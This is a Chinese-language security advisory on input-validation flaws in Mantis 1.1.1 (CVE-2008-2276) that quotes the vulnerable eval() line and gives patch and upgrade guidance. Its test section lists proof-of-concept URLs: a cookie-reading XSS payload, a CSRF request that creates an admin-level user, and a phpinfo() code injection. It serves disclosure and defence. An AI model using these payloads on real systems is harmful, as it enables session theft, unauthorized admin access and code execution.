安全研究

安全漏洞
Mantis多个输入验证漏洞

发布日期:2008-05-20
更新日期:2008-05-21

受影响系统:
Mantis mantis 1.1.1
不受影响系统:
Mantis mantis 1.2.0a1
描述:
BUGTRAQ  ID: 29297
CVE(CAN) ID: CVE-2008-2276

Mantis是用PHP脚本语言编写的基于Web的漏洞跟踪系统。

Mantis没有正确地验证用户输入,Mantis的return_dynamic_filters.php文件中存在跨站脚本漏洞,manage_user_create.php文件中存在跨站请求伪造漏洞。此外如果用户通过上述漏洞获得了有效的管理帐号的话,由于在adm_config_set.php文件的的第80行的以下语句:

eval( '$t_value = ' . $f_value . ';' );

这里$f_value是在34行定义的:

$f_value = gpc_get_string( 'value' );

$f_value参数没有经过任何验证,因此攻击者可以通过执行phpinfo()函数的恶意URL导致执行任意代码。

<*来源:Francesco Ongaro (ascii@ush.it
  
  链接:http://marc.info/?l=bugtraq&m=121130774617956&w=2
        http://secunia.com/advisories/30270/
        http://security.gentoo.org/glsa/glsa-200809-10.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/mantis/return_dynamic_filters.php?filter_target=<script>alert(document.cookie);</script>
foo@attacker.com&access_level=90&protected=0&enabled=1" target="_blank">http://www.example.com/mantis/manage_user_create.php?username=foo&realname=aa&password=aa&password_verify=aa&email=foo@attacker.com&access_level=90&protected=0&enabled=1
http://www.example.com/mantis/adm_config_set.php?user_id=0&project_id=0&config_option=cache_config&type=0&value=0;phpinfo()

建议:
厂商补丁:

Mantis
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://mantisbt.sourceforge.net/

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200809-10)以及相应补丁:
GLSA-200809-10:Mantis: Multiple vulnerabilities
链接:http://security.gentoo.org/glsa/glsa-200809-10.xml

所有Mantis用户都应升级到最新版本:

      # emerge --sync
      # emerge --ask --oneshot --verbose ">=3Dwww-apps/mantisbt-1.1.2"

浏览次数:2743
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障